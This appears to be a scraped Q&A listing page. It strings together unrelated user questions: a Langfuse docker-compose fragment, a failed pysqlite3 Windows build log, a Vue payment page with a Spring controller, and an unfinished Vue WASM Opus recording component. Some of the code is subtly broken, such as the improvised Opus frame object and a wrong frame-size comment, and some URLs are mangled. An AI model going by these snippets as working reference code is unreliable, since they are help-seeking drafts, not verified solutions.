retries: 10 environment: POSTGRES_USER: postgres POSTGRES_PASSWORD: postgres # CHANGEME POSTGRES_DB: postgres ports: - 127.0.0.1:5432:5432 volumes: - langfuse_postgres_data:/var/lib/postgresql/data volumes: langfuse_postgres_data: driver: local langfuse_clickhouse_data: driver: local langfuse_clickhouse_logs: driver: local langfuse_minio_data: driver: local 用它部署了一组容器,启动后发现langfuse-web前端一直提示正在加载什么原因呢,是正常现象还是故障

filetype

********************************************************************** ** Visual Studio 2022 Developer Command Prompt v17.14.9 ** Copyright (c) 2025 Microsoft Corporation ********************************************************************** C:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools>pip install pysqlite3 Collecting pysqlite3 Using cached pysqlite3-0.5.4.tar.gz (40 kB) Preparing metadata (setup.py) ... done Building wheels for collected packages: pysqlite3 DEPRECATION: Building 'pysqlite3' using the legacy setup.py bdist_wheel mechanism, which will be removed in a future version. pip 25.3 will enforce this behaviour change. A possible replacement is to use the standardized build interface by setting the `--use-pep517` option, (possibly combined with `--no-build-isolation`), or adding a `pyproject.toml` file to the source tree of 'pysqlite3'. Discussion can be found at https://github.com/pypa/pip/issues/6334 Building wheel for pysqlite3 (setup.py) ... error error: subprocess-exited-with-error × python setup.py bdist_wheel did not run successfully. │ exit code: 1 ╰─> [18 lines of output] running bdist_wheel running build running build_py creating build creating build\lib.win32-cpython-311 creating build\lib.win32-cpython-311\pysqlite3 copying pysqlite3\dbapi2.py -> build\lib.win32-cpython-311\pysqlite3 copying pysqlite3\__init__.py -> build\lib.win32-cpython-311\pysqlite3 running build_ext Builds a C extension linking against libsqlite3 library building 'pysqlite3._sqlite3' extension creating build\temp.win32-cpython-311 creating build\temp.win32-cpython-311\Release creating build\temp.win32-cpython-311\Release\src "C:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\VC\Tools\MSVC\14.44.35207\bin\HostX86\x86\cl.exe" /c /nologo /O2 /W3 /GL /DNDEBUG /MD -DMODULE_NAME=\"pysqlite3.dbapi2\" -I/usr/include -IC:\Python3114\include -IC:\Python3114\Include "-IC:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\VC\Tools\MSVC\14.44.35207\include" "-IC:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\VC\Auxiliary\VS\include" "-IC:\Program Files (x86)\Windows Kits\10\include\10.0.26100.0\ucrt" "-IC:\Program Files (x86)\Windows Kits\10\\include\10.0.26100.0\\um" "-IC:\Program Files (x86)\Windows Kits\10\\include\10.0.26100.0\\shared" "-IC:\Program Files (x86)\Windows Kits\10\\include\10.0.26100.0\\winrt" "-IC:\Program Files (x86)\Windows Kits\10\\include\10.0.26100.0\\cppwinrt" "-IC:\Program Files (x86)\Windows Kits\NETFXSDK\4.8\include\um" "-IC:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\VC\Tools\MSVC\14.44.35207\include" "-IC:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\VC\Auxiliary\VS\include" "-IC:\Program Files (x86)\Windows Kits\10\include\10.0.26100.0\ucrt" "-IC:\Program Files (x86)\Windows Kits\10\\include\10.0.26100.0\\um" "-IC:\Program Files (x86)\Windows Kits\10\\include\10.0.26100.0\\shared" "-IC:\Program Files (x86)\Windows Kits\10\\include\10.0.26100.0\\winrt" "-IC:\Program Files (x86)\Windows Kits\10\\include\10.0.26100.0\\cppwinrt" "-IC:\Program Files (x86)\Windows Kits\NETFXSDK\4.8\include\um" /Tcsrc\blob.c /Fobuild\temp.win32-cpython-311\Release\src\blob.obj blob.c C:\Users\Administrator\AppData\Local\Temp\pip-install-pufxsdna\pysqlite3_743a8bfc69ff4989a78046bc1bd8b71d\src\blob.h(4): fatal error C1083: 无法打开包括文件: “sqlite3.h”: No such file or directory error: command 'C:\\Program Files (x86)\\Microsoft Visual Studio\\2022\\BuildTools\\VC\\Tools\\MSVC\\14.44.35207\\bin\\HostX86\\x86\\cl.exe' failed with exit code 2 [end of output] note: This error originates from a subprocess, and is likely not a problem with pip. ERROR: Failed building wheel for pysqlite3 Running setup.py clean for pysqlite3 Failed to build pysqlite3 ERROR: Failed to build installable wheels for some pyproject.toml based projects (pysqlite3)

filetype

<template>
<el-page-header @back="handleBack" :content="paymentType === 'vip' ? '会员支付' : '停车缴费'" /> <el-card class="payment-info-card">

支付信息

支付类型: {{ paymentType === 'vip' ? '会员充值' : '停车费用' }}
充值时长: {{ days }} 天
车牌号: {{ plateNumber }}
停车时长: {{ parkingDuration }}
优惠券抵扣: -¥{{ couponDiscount.toFixed(2) }}
应付金额: ¥{{ payableAmount.toFixed(2) }}
</el-card>
<el-card class="payment-method-card"> <template #header>

选择支付方式

</template> <el-radio-group v-model="selectedMethod" class="payment-methods"> <el-radio label="wechat" class="method-item">
微信支付
推荐微信用户使用
</el-radio> <el-radio label="alipay" class="method-item">
支付宝
推荐支付宝用户使用
</el-radio> <el-radio label="balance" class="method-item" v-if="hasBalance" :disabled="balance < payableAmount" >
余额支付
当前余额:¥{{ balance.toFixed(2) }} (余额充足) (余额不足)
</el-radio> </el-radio-group> </el-card> <el-card class="coupon-card" v-if="hasCoupons && paymentType === 'parking'"> <template #header>

选择优惠券

<el-select v-model="couponFilter" placeholder="筛选优惠券" size="small" @change="handleCouponFilterChange" > <el-option label="全部可用" value="all" /> <el-option label="即将过期" value="expiring" /> <el-option label="面额>10元" value="over10" /> </el-select>
<el-button type="text" @click="showAllCoupons = !showAllCoupons" v-if="filteredCoupons.length > 2" > {{ showAllCoupons ? '收起' : '查看更多' }} </el-button>
</template>
<el-radio-group v-model="selectedCouponId"> <el-radio :label="0" class="coupon-item"> 不使用优惠券 </el-radio> <el-radio v-for="coupon in (showAllCoupons ? filteredCoupons : filteredCoupons.slice(0, 2))" :key="coupon.id" :label="coupon.id" class="coupon-item" :disabled="coupon.value > amount || isCouponExpired(coupon.expireDate)" >
¥{{ coupon.value }}
{{ coupon.description }}
有效期至:{{ coupon.expireDate }} (即将过期) (已过期)
</el-radio> </el-radio-group>
暂无可用优惠券 <el-button type="text" @click="goToGetCoupons" class="get-coupon-btn" > 去领券中心获取 </el-button>
</el-card> <el-card class="receipt-card"> <template #header>

电子账单

</template>
<el-checkbox v-model="needReceipt" class="receipt-checkbox"> 需要下载电子账单(PDF格式) </el-checkbox>
<el-form :model="receiptInfo" label-width="100px" :rules="receiptRules" ref="receiptFormRef" size="small" > <el-form-item label="账单类型" prop="type"> <el-radio-group v-model="receiptInfo.type"> <el-radio label="personal">个人</el-radio> <el-radio label="company">企业</el-radio> </el-radio-group> </el-form-item> <el-form-item label="备注信息" v-if="receiptInfo.type === 'company'" prop="remark" > <el-input v-model="receiptInfo.remark" placeholder="请输入企业名称等信息" maxlength="100" show-word-limit /> </el-form-item> <el-form-item>
支付成功后可下载PDF格式电子账单
</el-form-item> </el-form>
</el-card>
<el-button type="primary" size="large" class="pay-button" @click="handlePayment" :loading="isLoading" :disabled="payableAmount <= 0 || isDisabledPayment" > <template v-if="payableAmount <= 0"> 无需支付 </template> <template v-else> 确认支付 ¥{{ payableAmount.toFixed(2) }} </template> </el-button>

金额已全部抵扣,无需支付

<el-dialog title="支付超时提醒" v-model="showTimeoutDialog" :close-on-click-modal="false" width="300px" >

您的支付已超过{{ paymentTimeout }}分钟未完成,是否继续?

<template #footer> <el-button @click="handleTimeoutCancel">取消支付</el-button> <el-button type="primary" @click="handleTimeoutContinue">继续支付</el-button> </template> </el-dialog> <el-dialog title="支付结果" v-model="showResultDialog" :close-on-click-modal="false" :show-close="false" width="300px" >
{{ paymentSuccess ? '支付成功' : '支付失败' }}
{{ paymentType === 'vip' ? '会员已生效,快去享受权益吧!' : '缴费成功,可正常离场' }}
<el-button type="text" @click="downloadReceipt" class="download-btn" :loading="isDownloading" > 点击下载电子账单(PDF) </el-button>
{{ errorMessage || '支付过程中出现错误,请重试' }} <el-button type="text" @click="viewPaymentDetails" class="details-btn" v-if="billData?.orderNo" > 查看详情 </el-button>
<template #footer> <el-button type="primary" @click="handleResultConfirm"> {{ paymentSuccess ? '完成' : '重新支付' }} </el-button> </template> </el-dialog>
</template> <script setup> import { ref, computed, onMounted, reactive, watch, onUnmounted } from 'vue' import { useRouter, useRoute } from 'vue-router' import { useUserStore } from '@/store/userStore.js' import axios from '@/utils/axios' import { ElMessage, ElMessageBox } from 'element-plus' const router = useRouter() const route = useRoute() const userStore = useUserStore() // 支付参数 - 增加类型校验和默认值 const paymentType = ref(['vip', 'parking'].includes(route.query.type) ? route.query.type : 'parking') const amount = ref(Math.max(0, Number(route.query.amount) || 0)) const days = ref(Math.max(1, Number(route.query.days) || 0)) const plateNumber = ref(String(route.query.plateNumber || '')) const packageId = ref(String(route.query.packageId || '')) const parkingDuration = ref(String(route.query.duration || '')) // 支付状态 const selectedMethod = ref('wechat') const selectedCouponId = ref(0) const showAllCoupons = ref(false) const isLoading = ref(false) const isLoadingAssets = ref(false) const showResultDialog = ref(false) const paymentSuccess = ref(false) const errorMessage = ref('') const billData = ref(null) const isDownloading = ref(false) const paymentTimeout = ref(15) // 分钟 const showTimeoutDialog = ref(false) const timeoutIntervalId = ref(null) // 使用 setInterval 的 id // 优惠券筛选 const couponFilter = ref('all') const originalCoupons = ref([]) const coupons = ref([]) // 电子账单相关 const needReceipt = ref(false) const receiptInfo = reactive({ type: 'personal', remark: '' }) const receiptFormRef = ref(null) const receiptRules = { remark: [ { required: true, message: '请输入企业名称', trigger: 'blur' }, { max: 100, message: '企业名称不能超过100个字符', trigger: 'blur' } ] } // 用户资产 const balance = ref(0) const hasBalance = computed(() => balance.value > 0) const hasCoupons = computed(() => coupons.value.length > 0) // 应付金额 const payableAmount = computed(() => { const value = amount.value - couponDiscount.value return value > 0 ? Number(value.toFixed(2)) : 0 }) // 支付按钮禁用状态 const isDisabledPayment = computed(() => { return selectedMethod.value === 'balance' && balance.value < payableAmount.value; }) // 优惠券折扣计算 const couponDiscount = computed(() => { if (selectedCouponId.value === 0) return 0 const selected = coupons.value.find(c => c.id === selectedCouponId.value) return selected ? Math.min(Number(selected.value || 0), amount.value) : 0 }) // 过滤后的优惠券(根据筛选条件) const filteredCoupons = computed(() => { let result = [...coupons.value] switch (couponFilter.value) { case 'expiring': result = result.filter(coupon => isCouponExpiringSoon(coupon.expireDate)) break case 'over10': result = result.filter(coupon => Number(coupon.value) > 10) break default: break } return result }) // 检查优惠券是否已过期 const isCouponExpired = (expireDate) => { if (!expireDate) return true const now = new Date() const expire = new Date(expireDate) return expire < now } // 检查优惠券是否即将过期(7天内) const isCouponExpiringSoon = (expireDate) => { if (!expireDate || isCouponExpired(expireDate)) return false const now = new Date() const expire = new Date(expireDate) const daysDiff = (expire - now) / (1000 * 60 * 60 * 24) return daysDiff > 0 && daysDiff <= 7 } // 处理优惠券筛选变化 const handleCouponFilterChange = () => { showAllCoupons.value = false } // 获取用户资产信息(带加载状态) const fetchUserAssets = async () => { if (!userStore.isLoggedIn) return isLoadingAssets.value = true try { const res = await axios.get('/api/user/assets') balance.value = Number(res.data?.data?.balance) || 0 originalCoupons.value = [...(res.data?.data?.coupons || [])] coupons.value = originalCoupons.value.filter(coupon => !isCouponExpired(coupon.expireDate)) // 若当前选中的优惠券已不可用,则回退为不使用 if (selectedCouponId.value !== 0) { const stillExists = coupons.value.some(c => c.id === selectedCouponId.value) if (!stillExists) selectedCouponId.value = 0 } } catch (error) { console.error('获取用户资产失败', error) ElMessage.error('获取优惠券和余额失败,请刷新页面重试') } finally { isLoadingAssets.value = false } } // 启动支付超时计时器 const startPaymentTimeoutTimer = () => { if (timeoutIntervalId.value) { clearInterval(timeoutIntervalId.value) timeoutIntervalId.value = null } let remainingMinutes = Number(paymentTimeout.value) || 15 timeoutIntervalId.value = setInterval(() => { remainingMinutes -= 1 if (remainingMinutes <= 0) { clearInterval(timeoutIntervalId.value) timeoutIntervalId.value = null showTimeoutDialog.value = true } }, 60000) } // 处理支付 const handlePayment = async () => { // 表单验证 if (needReceipt.value && receiptInfo.type === 'company') { try { await receiptFormRef.value?.validate() } catch { return } } if (!userStore.isLoggedIn) { ElMessage.warning('请先登录') router.push(`/login?redirect=${encodeURIComponent(route.fullPath)}`) return } // 零元支付直接成功(按钮已置灰,此分支作为兜底) if (payableAmount.value <= 0) { paymentSuccess.value = true showResultDialog.value = true return } // 余额不足检查(双重保障) if (selectedMethod.value === 'balance' && balance.value < payableAmount.value) { ElMessage.warning('余额不足,请选择其他支付方式') return } isLoading.value = true try { const payload = { type: paymentType.value, amount: payableAmount.value, paymentMethod: selectedMethod.value, couponId: selectedCouponId.value || null, receipt: needReceipt.value ? { type: receiptInfo.type, remark: receiptInfo.remark } : null } if (paymentType.value === 'vip') { payload.days = days.value payload.packageId = packageId.value } else { payload.plateNumber = plateNumber.value payload.duration = parkingDuration.value } const res = await axios.post('/api/payments/generate-bill', payload) billData.value = res.data?.data || null // 启动支付超时计时器 startPaymentTimeoutTimer() if (['wechat', 'alipay'].includes(selectedMethod.value)) { const payUrl = billData.value?.payUrl if (payUrl) { const payWindow = window.open(payUrl, '_blank') if (!payWindow) { ElMessage.warning('请允许弹出窗口以完成支付') } const checkPaymentStatus = setInterval(async () => { // 窗口被关闭则认为用户完成/终止了支付,拉取结果 if (!payWindow || payWindow.closed) { clearInterval(checkPaymentStatus) if (timeoutIntervalId.value) { clearInterval(timeoutIntervalId.value) timeoutIntervalId.value = null } if (billData.value?.orderNo) { await checkPaymentResult(billData.value.orderNo) } else { paymentSuccess.value = false errorMessage.value = '支付订单异常,请重试' showResultDialog.value = true } } }, 3000) } else { ElMessage.error('支付链接生成失败,请重试') if (timeoutIntervalId.value) { clearInterval(timeoutIntervalId.value) timeoutIntervalId.value = null } } } else { // 余额支付直接成功 paymentSuccess.value = true showResultDialog.value = true if (timeoutIntervalId.value) { clearInterval(timeoutIntervalId.value) timeoutIntervalId.value = null } } } catch (error) { paymentSuccess.value = false errorMessage.value = error?.response?.data?.msg || '支付失败,请重试' showResultDialog.value = true if (timeoutIntervalId.value) { clearInterval(timeoutIntervalId.value) timeoutIntervalId.value = null } } finally { isLoading.value = false } } // 处理超时对话框-取消支付 const handleTimeoutCancel = () => { showTimeoutDialog.value = false if (timeoutIntervalId.value) { clearInterval(timeoutIntervalId.value) timeoutIntervalId.value = null } if (billData.value?.orderNo) { cancelPayment(billData.value.orderNo) } router.back() } // 处理超时对话框-继续支付 const handleTimeoutContinue = () => { showTimeoutDialog.value = false startPaymentTimeoutTimer() } // 取消支付 const cancelPayment = async (orderNo) => { try { await axios.post(`/api/payments/${orderNo}/cancel`) ElMessage.success('已取消支付') } catch (error) { console.error('取消支付失败', error) } } // 检查支付结果 const checkPaymentResult = async (orderNo) => { try { const res = await axios.get(`/api/payments/${orderNo}/status`) const status = res.data?.data?.status if (status === 'SUCCESS') { paymentSuccess.value = true if (needReceipt.value) { const billRes = await axios.get(`/api/payments/${orderNo}/bill`) billData.value = billRes.data?.data || billData.value } } else if (status === 'FAILED') { paymentSuccess.value = false errorMessage.value = res.data?.data?.message || '支付失败' } else { paymentSuccess.value = false errorMessage.value = '支付已取消或超时' } showResultDialog.value = true } catch (error) { console.error('查询支付结果失败', error) paymentSuccess.value = false errorMessage.value = '查询支付结果失败,请稍后重试' showResultDialog.value = true } } // 查看支付详情 const viewPaymentDetails = () => { if (billData.value?.orderNo) { router.push(`/payment-details?orderNo=${billData.value.orderNo}`) showResultDialog.value = false } } // 下载电子账单 const downloadReceipt = async () => { if (!billData.value?.billId) { ElMessage.warning('账单信息不存在') return } isDownloading.value = true try { const response = await axios.get( `/api/payments/bills/${billData.value.billId}/download`, { responseType: 'blob' } ) const blob = new Blob([response.data], { type: 'application/pdf' }) const url = URL.createObjectURL(blob) const a = document.createElement('a') a.href = url a.download = `账单_${billData.value.orderNo || Date.now()}.pdf` document.body.appendChild(a) a.click() setTimeout(() => { document.body.removeChild(a) URL.revokeObjectURL(url) ElMessage.success('账单下载成功') }, 100) } catch (error) { console.error('下载账单失败', error) ElMessage.error('账单下载失败,请重试') } finally { isDownloading.value = false } } // 支付结果确认 const handleResultConfirm = () => { showResultDialog.value = false if (paymentSuccess.value) { router.push(paymentType.value === 'vip' ? '/vip-page' : '/parking-records') } } // 返回上一页 const handleBack = () => { if (isLoading.value) { ElMessage.warning('正在处理支付,请稍后') return } const hasInput = selectedCouponId.value !== 0 || needReceipt.value if (!hasInput) { router.back() return } ElMessageBox.confirm( '确定要返回吗?当前支付信息可能会丢失', '确认返回', { confirmButtonText: '确定', cancelButtonText: '取消', type: 'warning' } ).then(() => { router.back() }).catch(() => {}) } // 跳转到领券中心 const goToGetCoupons = () => { router.push('/coupons') } // 监听登录状态变化 watch( () => userStore.isLoggedIn, (newVal) => { if (newVal) { fetchUserAssets() } else { router.push(`/login?redirect=${encodeURIComponent(route.fullPath)}`) } }, { immediate: true } ) // 当优惠券列表变化时,兜底处理已选优惠券失效 watch(coupons, (list) => { if (selectedCouponId.value && !list.some(c => c.id === selectedCouponId.value)) { selectedCouponId.value = 0 } }) // 离开页面提示(可选:避免处理中误操作关闭) const beforeUnloadHandler = (e) => { if (isLoading.value) { e.preventDefault() e.returnValue = '' } } onMounted(() => { if (amount.value <= 0 && paymentType.value === 'parking') { ElMessage.warning('支付金额异常') router.back() return } window.addEventListener('beforeunload', beforeUnloadHandler) }) onUnmounted(() => { if (timeoutIntervalId.value) { clearInterval(timeoutIntervalId.value) timeoutIntervalId.value = null } window.removeEventListener('beforeunload', beforeUnloadHandler) }) </script> <style scoped> .payment-info-card, .payment-method-card, .coupon-card, .receipt-card { margin-bottom: 16px; border-radius: 8px; box-shadow: 0 2px 8px rgba(0, 0, 0, 0.08); } .payment-summary { padding: 16px 0; } .payment-summary h3 { margin-bottom: 16px; font-size: 16px; color: #333; } .summary-item { display: flex; margin-bottom: 12px; font-size: 14px; } .summary-item .label { flex: 0 0 100px; color: #666; } .summary-item .value { flex: 1; color: #333; } .total-amount { margin-top: 16px; padding-top: 16px; border-top: 1px dashed #eee; } .total-amount .value { font-size: 18px; font-weight: bold; } .amount { color: #f56c6c; } .payment-methods { display: flex; flex-direction: column; gap: 12px; padding: 8px 0; } .method-item { display: flex; align-items: center; padding: 12px; border-radius: 6px; border: 1px solid #eee; transition: all 0.2s; } .method-item:hover { border-color: #ddd; background-color: #fafafa; } .method-icon { width: 40px; height: 40px; margin-right: 12px; border-radius: 50%; background-size: contain; background-repeat: no-repeat; background-position: center; } .wechat-icon { background-image: url('/https/wenku.csdn.net/icons/wechat.png'); background-color: #07c160; } .alipay-icon { background-image: url('/https/wenku.csdn.net/icons/alipay.png'); background-color: #1677ff; } .balance-icon { background-image: url('/https/wenku.csdn.net/icons/balance.png'); background-color: #ff9f1c; } .method-name { font-size: 16px; margin-bottom: 4px; } .method-desc { font-size: 12px; color: #666; } .card-header-flex { display: flex; justify-content: space-between; align-items: center; } .coupon-filter { width: 160px; } .coupon-list { padding: 8px 0; } .coupon-item { display: block; padding: 12px; margin-bottom: 8px; border-radius: 6px; border: 1px solid #eee; transition: all 0.2s; } .coupon-item:hover { border-color: #ddd; background-color: #fafafa; } .coupon-content { display: flex; justify-content: space-between; align-items: center; } .coupon-value { font-size: 18px; font-weight: bold; color: #f56c6c; min-width: 60px; } .coupon-desc { flex: 1; margin: 0 16px; color: #333; } .coupon-expire { font-size: 12px; color: #666; text-align: right; min-width: 140px; } .coupon-expiring-soon { color: #faad14; margin-left: 5px; font-size: 12px; } .coupon-expired { color: #f56c6c; margin-left: 5px; font-size: 12px; } .no-coupon { padding: 16px; text-align: center; color: #666; font-size: 14px; } .get-coupon-btn { color: #409eff; margin-left: 8px; padding: 0; } .get-coupon-btn:hover { color: #6aa8ff; } .el-radio.is-disabled .coupon-item { opacity: 0.6; cursor: not-allowed; } .el-radio__input.is-checked + .el-radio__label .coupon-item { border-color: #409eff; background-color: #f5f9ff; } .receipt-settings { padding: 8px 0; } .receipt-checkbox { margin-bottom: 16px; } .receipt-form { padding: 16px; background-color: #f5f7fa; border-radius: 6px; } .receipt-hint { margin-top: 8px; font-size: 12px; color: #666; } .payment-actions { position: fixed; bottom: 0; left: 0; right: 0; padding: 16px; background-color: #fff; box-shadow: 0 -2px 10px rgba(0, 0, 0, 0.05); text-align: center; } .pay-button { width: 100%; height: 48px; font-size: 16px; } .payment-note { margin-top: 12px; font-size: 12px; color: #666; } .result-content { text-align: center; padding: 16px 0; } .result-icon { width: 64px; height: 64px; margin: 0 auto 16px; border-radius: 50%; display: flex; align-items: center; justify-content: center; font-size: 32px; } .result-icon.success { background-color: #f0f9eb; color: #52c41a; } .result-icon.fail { background-color: #fff2f0; color: #f56c6c; } .result-text { font-size: 18px; font-weight: bold; margin-bottom: 8px; } .result-desc { font-size: 14px; color: #666; margin-bottom: 16px; } .download-btn, .details-btn { color: #409eff; padding: 0; margin-left: 8px; } /* 响应式调整 */ @media (max-width: 768px) { .payment-container { padding-bottom: 100px; } .coupon-content { flex-direction: column; align-items: flex-start; } .coupon-value, .coupon-expire { margin-bottom: 8px; min-width: auto; } .coupon-desc { margin: 8px 0; width: 100%; } } </style>package com.example.parking.controller; import com.example.parking.common.Result; import com.example.parking.dto.PaymentDTO; import com.example.parking.entity.Bill; import com.example.parking.entity.PaymentRecord; import com.example.parking.service.BillService; import com.example.parking.service.PaymentService; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.validation.annotation.Validated; import org.springframework.web.bind.annotation.*; import java.util.List; @RestController @RequestMapping("/api/payments") public class PaymentController { @Autowired private PaymentService paymentService; @Autowired // 新增BillService注入 private BillService billService; // 查询用户待缴费记录 @GetMapping("/pending") public Result<List<PaymentRecord>> getPendingPayments(HttpServletRequest request) { Long userId = (Long) request.getAttribute("userId"); List<PaymentRecord> records = paymentService.getPendingPayments(userId); return Result.success(records); } // 查询用户缴费历史 @GetMapping("/history") public Result<List<PaymentRecord>> getPaymentHistory(HttpServletRequest request) { Long userId = (Long) request.getAttribute("userId"); List<PaymentRecord> records = paymentService.getPaymentHistory(userId); return Result.success(records); } // 提交缴费(保留现有方法,与新增支付方法区分路径或逻辑) @PostMapping public Result<PaymentRecord> submitPayment(@Validated @RequestBody PaymentDTO dto, HttpServletRequest request) { Long userId = (Long) request.getAttribute("userId"); PaymentRecord record = paymentService.processPayment(userId, dto); return Result.success("缴费成功", record); } // 新增:处理支付并生成账单(若需要单独的支付接口可调整路径) @PostMapping("/generate-bill") // 新增路径避免与现有POST冲突 public Result<Bill> payParkingFee(@RequestBody PaymentDTO dto, HttpServletRequest request) { Long userId = (Long) request.getAttribute("userId"); // 需验证用户身份 Bill bill = paymentService.processPaymentWithBill(userId, dto); // 假设Service层有此方法 return Result.success("支付成功,账单已生成", bill); } // 新增:下载账单PDF @GetMapping("/bills/{id}/download") public void downloadBill(@PathVariable Long id, HttpServletResponse response, HttpServletRequest request) { Long userId = (Long) request.getAttribute("userId"); // 验证用户权限 billService.generatePdfBill(id, userId, response); // 增加用户ID校验防止越权 } // 获取缴费详情 @GetMapping("/{id}") public Result<PaymentRecord> getPaymentDetail(@PathVariable Long id, HttpServletRequest request) { Long userId = (Long) request.getAttribute("userId"); PaymentRecord record = paymentService.getPaymentDetail(id, userId); return Result.success(record); } }vue和controller对应写,且排版合理一点

filetype
filetype

<template>
<el-button @click="toggleRecording" :class="{ recording: isRecording }" :disabled="isProcessing || !wasmInitialized" > {{ isRecording ? "停止录音" : wasmInitialized ? "开始录音" : "加载编码器..." }} </el-button>
正在加载Opus编码器 (WASM)...
正在录音... 实时发送Opus帧 最后发送: {{ lastSentSize }}B (帧{{ frameCount }}) 编码延迟: {{ encodingLatency }}ms
{{ errorMessage }}
</template> <script setup lang="ts"> import { ref, reactive, watch, onMounted, onUnmounted, inject } from 'vue'; const props = defineProps({ formData: { type: Object, default: () => ({}) } }); // 注入WebSocket相关方法 const { isConnected, send, addTip }: any = inject('testProvide') || {}; const { formData } = props; // 核心状态管理 const isRecording = ref(false); const isProcessing = ref(false); const audioContext = ref<AudioContext | null>(null); const mediaStream = ref<MediaStream | null>(null); const scriptProcessor = ref<any>(null); const currentAudioUrl = ref(''); const errorMessage = ref(''); const lastSentSize = ref(0); const frameCount = ref(0); const encodingLatency = ref(0); const frameBuffer = ref<Float32Array>(new Float32Array(0)); // WASM Opus编码器状态 const opusModuleRef = ref<any>(null); const opusEncoderRef = ref<any>(null); const wasmInitialized = ref(false); // 音频参数配置 const SAMPLE_RATE = 16000; // 采样率 16000Hz const CHANNELS = 1; // 单声道 const SAMPLES_PER_FRAME = 960; // 60ms帧 = 960样本 (固定) const PCM_BYTE_LENGTH = 1920; // 960样本 * 2字节 = 1920字节 // 通信数据 const startData = reactive({ session_id: formData.session_id || '', type: 'listen', state: 'start', mode: 'manual', format: 'opus' }); const stopData = reactive({ session_id: formData.session_id || '', type: 'listen', state: 'stop', }); // 初始化WASM Opus编码器 const initOpusEncoder = async () => { try { // 1. 加载Opus WASM模块 const response = await fetch('./opus_encoder.wasm'); if (!response.ok) throw new Error(`WASM加载失败: HTTP ${response.status}`); const wasmBinary = await response.arrayBuffer(); // 2. 实例化WASM模块 const importObject = { env: { memory: new WebAssembly.Memory({ initial: 256 }), emscripten_notify_memory_growth: () => {} } }; const { instance } = await WebAssembly.instantiate(wasmBinary, importObject); // 3. 创建编码器实例 const errorPtr = instance.exports._malloc(4); const encoder = instance.exports.opus_encoder_create( SAMPLE_RATE, // 16000 Hz CHANNELS, // 1 声道 2048, // OPUS_APPLICATION_VOIP errorPtr ); // 检查编码器是否创建成功 const errorCode = new Uint32Array(instance.exports.memory.buffer, errorPtr, 1)[0]; if (errorCode !== 0) throw new Error(`Opus创建失败: 错误码 ${errorCode}`); // 4. 配置编码参数 instance.exports.opus_encoder_ctl(encoder, 4002, 16000); // SET_BITRATE(16kbps) instance.exports.opus_encoder_ctl(encoder, 4010, 5); // SET_COMPLEXITY instance.exports.opus_encoder_ctl(encoder, 4024, 0); // SET_VBR (0=CBR) // 5. 保存引用 opusModuleRef.value = instance.exports; opusEncoderRef.value = encoder; wasmInitialized.value = true; console.log("Opus编码器初始化成功"); addTip?.("Opus编码器已加载", "success"); } catch (error: any) { console.error("Opus初始化失败:", error); errorMessage.value = `Opus加载失败: ${error.message}`; addTip?.("无法加载Opus编码器", "error"); } }; // 核心编码函数:PCM转Opus (匹配图片中格式) const encodePcmToOpus = (pcmData: Int16Array) => { if (!opusEncoderRef.value || !opusModuleRef.value) return null; try { // 1. 分配输入内存 (PCM数据) const pcmPtr = opusModuleRef.value._malloc(pcmData.length * 2); const pcmHeap = new Int16Array( opusModuleRef.value.memory.buffer, pcmPtr, pcmData.length ); pcmHeap.set(pcmData); // 2. 分配输出内存 (Opus数据) const maxPacketSize = 4000; const opusPtr = opusModuleRef.value._malloc(maxPacketSize); // 3. 执行编码 (固定960样本帧) const encodedSize = opusModuleRef.value.opus_encode( opusEncoderRef.value, pcmPtr, SAMPLES_PER_FRAME, opusPtr, maxPacketSize ); // 4. 检查编码结果 if (encodedSize <= 0) { throw new Error(`编码失败: 返回码 ${encodedSize}`); } // 5. 提取结果数据 (严格匹配图片格式) const opusFrame = new Uint8Array( opusModuleRef.value.memory.buffer, opusPtr, encodedSize ); // 6. 创建完整数据结构 (包含buffer属性) const opusData = { buffer: opusFrame.buffer, data: opusFrame, length: opusFrame.length, byteLength: opusFrame.byteLength, __proto__: Uint8Array.prototype }; // 7. 打印调试信息 (与图片格式一致) console.log("opusData*****", opusData.data); console.log("buffer:", opusData.buffer); console.log("byteLength:", opusData.buffer.byteLength); // 8. 清理内存 opusModuleRef.value._free(pcmPtr); opusModuleRef.value._free(opusPtr); return opusData; } catch (error) { console.error("Opus编码错误:", error); return null; } }; // 开始录音 const startRecording = async () => { if (isRecording.value || isProcessing.value || !wasmInitialized.value) return; isProcessing.value = true; errorMessage.value = ''; try { // 发送开始信号 send(startData); // 请求麦克风权限 mediaStream.value = await navigator.mediaDevices.getUserMedia({ audio: { sampleRate: SAMPLE_RATE, channelCount: CHANNELS, echoCancellation: true, noiseSuppression: true } }); // 初始化音频处理 audioContext.value = new (window.AudioContext || (window as any).webkitAudioContext)({ sampleRate: SAMPLE_RATE, latencyHint: 'interactive' }); // 创建处理器 (缓冲区4096样本) const source = audioContext.value.createMediaStreamSource(mediaStream.value); scriptProcessor.value = audioContext.value.createScriptProcessor(4096, 1, 1); // PCM处理回调 scriptProcessor.value.onaudioprocess = (event: any) => { if (!isRecording.value || !wasmInitialized.value) return; const startTime = performance.now(); const inputData = event.inputBuffer.getChannelData(0); // 添加到帧缓冲区 const newBuffer = new Float32Array(frameBuffer.value.length + inputData.length); newBuffer.set(frameBuffer.value); newBuffer.set(inputData, frameBuffer.value.length); frameBuffer.value = newBuffer; // 处理完整帧 (每次960样本) while (frameBuffer.value.length >= SAMPLES_PER_FRAME) { const frameData = frameBuffer.value.slice(0, SAMPLES_PER_FRAME); frameBuffer.value = frameBuffer.value.slice(SAMPLES_PER_FRAME); // 1. 将Float32转为Int16 PCM (原始样本数960) const pcmInt16 = new Int16Array(SAMPLES_PER_FRAME); for (let i = 0; i < SAMPLES_PER_FRAME; i++) { pcmInt16[i] = Math.max(-32768, Math.min(32767, frameData[i] * 32767)); } // 2. 编码为Opus格式 (生成Uint8Array) const startEncodeTime = performance.now(); const opusData = encodePcmToOpus(pcmInt16); encodingLatency.value = Math.round(performance.now() - startEncodeTime); // 3. 发送Opus数据 (PCM字节数1920 -> Opus长度约1952) if (opusData && opusData.length > 0 && isConnected?.value && isRecording.value) { send(opusData.data, 2); lastSentSize.value = opusData.length; frameCount.value++; } } // 